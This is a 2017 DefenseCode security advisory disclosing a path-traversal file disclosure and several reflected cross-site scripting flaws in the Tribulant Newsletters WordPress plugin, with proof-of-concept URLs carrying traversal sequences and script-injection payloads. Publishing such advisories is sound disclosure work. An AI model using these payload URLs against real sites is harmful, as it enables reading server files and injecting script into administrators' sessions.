WordPress Tribulant Newsletters 4.6.4.2 XSS / File Disclosure

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DefenseCode WebScanner DAST Advisory  
WordPress Tribulant Newsletters Plugin  
Multiple Security Vulnerabilities  
  
  
Advisory ID: DC-2017-01-012  
Advisory Title: WordPress Tribulant Newsletters Plugin  
Multiple Vulnerabilities  
Advisory URL: http://www.defensecode.com/advisories.php  
Software: WordPress Tribulant Newsletters Plugin  
Language: PHP  
Version: 4.6.4.2 and below  
Vendor Status: Vendor contacted, update released  
Release Date: 2017/05/29  
Risk: Medium  
  
  
  
1. General Overview  
===================  
During the security audit of Tribulant Newsletters plugin for  
WordPress CMS, multiple vulnerabilities were discovered using  
DefenseCode WebScanner application security analysis platform.  
  
More information about WebScanner is available at URL:  
http://www.defensecode.com  
  
  
2. Software Overview  
====================  
According to the authors, WordPress Tribulant Newsletters plugin is a  
full-featured newsletter plugin for WordPress which fulfils all  
subscribers, emails, marketing and newsletter related needs for both  
personal and business environments.  
  
According to wordpress.org, it has more than 9,000 active installs.  
  
Homepage:  
https://wordpress.org/plugins/newsletters-lite/  
http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin  
  
  
3. Vulnerability Description  
==================================  
During the security analysis, WebScanner discovered File Disclosure  
vulnerability and multiple Cross Site Scripting vulnerabilities in  
Tribulant Newsletters plugin.  
  
3.1 File Disclosure  
----  
Input: $_GET['file']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWINDOWS%5cwin.ini  
  
3.2 Cross-Site Scripting  
----  
Input: $_GET['method']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E  
  
3.3 Cross-Site Scripting  
----  
Input: $_GET['id']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E  
Note: Subscriber id (parameter "id") must exist. Value 1 is  
a good guess for start ;)  
  
3.4 Cross-Site Scripting  
----  
Input: $_GET['id']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E  
  
3.5 Cross-Site Scripting  
----  
Input: $_GET['value']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=newsletters_gauge&value=1});alert(1);</script>  
  
3.6 Cross-Site Scripting  
----  
Input: $_GET['order']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E  
  
3.7 Cross-Site Scripting  
----  
Input: $_GET['wpmlsearchterm']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E  
  
3.8 Cross-Site Scripting  
----  
Input: $_GET['wpmlmessage']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E  
  
  
4. Solution  
===========  
Vendor resolved the security issues after we reported the  
vulnerabilities. All users are strongly advised to update WordPress  
Tribulant Newsletters plugin to the latest available version.  
  
  
5. Credits  
==========  
Discovered with DefenseCode WebScanner security analyzer  
by Neven Biruski.  
  
  
6. Disclosure Timeline  
======================  
2017/04/04 Vendor contacted  
2017/04/06 Vendor responded, update released  
2017/05/29 Advisory released to the public  
  
  
7. About DefenseCode  
====================  
DefenseCode L.L.C. delivers products and services designed to analyze  
and test web, desktop and mobile applications for security  
vulnerabilities.  
  
DefenseCode ThunderScan is a SAST (Static Application Security  
Testing, WhiteBox Testing) solution for performing extensive security  
audits of application source code. ThunderScan SAST performs fast and  
accurate analyses of large and complex source code projects delivering  
precise results and low false positive rate.  
  
DefenseCode WebScanner is a DAST (Dynamic Application Security  
Testing, BlackBox Testing) solution for comprehensive security audits  
of active web applications. WebScanner will test a website's security  
by carrying out a large number of attacks using the most advanced  
techniques, just as a real attacker would.  
  
Subscribe for free software trial on our website  
http://www.defensecode.com/ .  
  
E-mail: defensecode[at]defensecode.com  
  
Website: http://www.defensecode.com  
Twitter: https://twitter.com/DefenseCode/  
  
  
  
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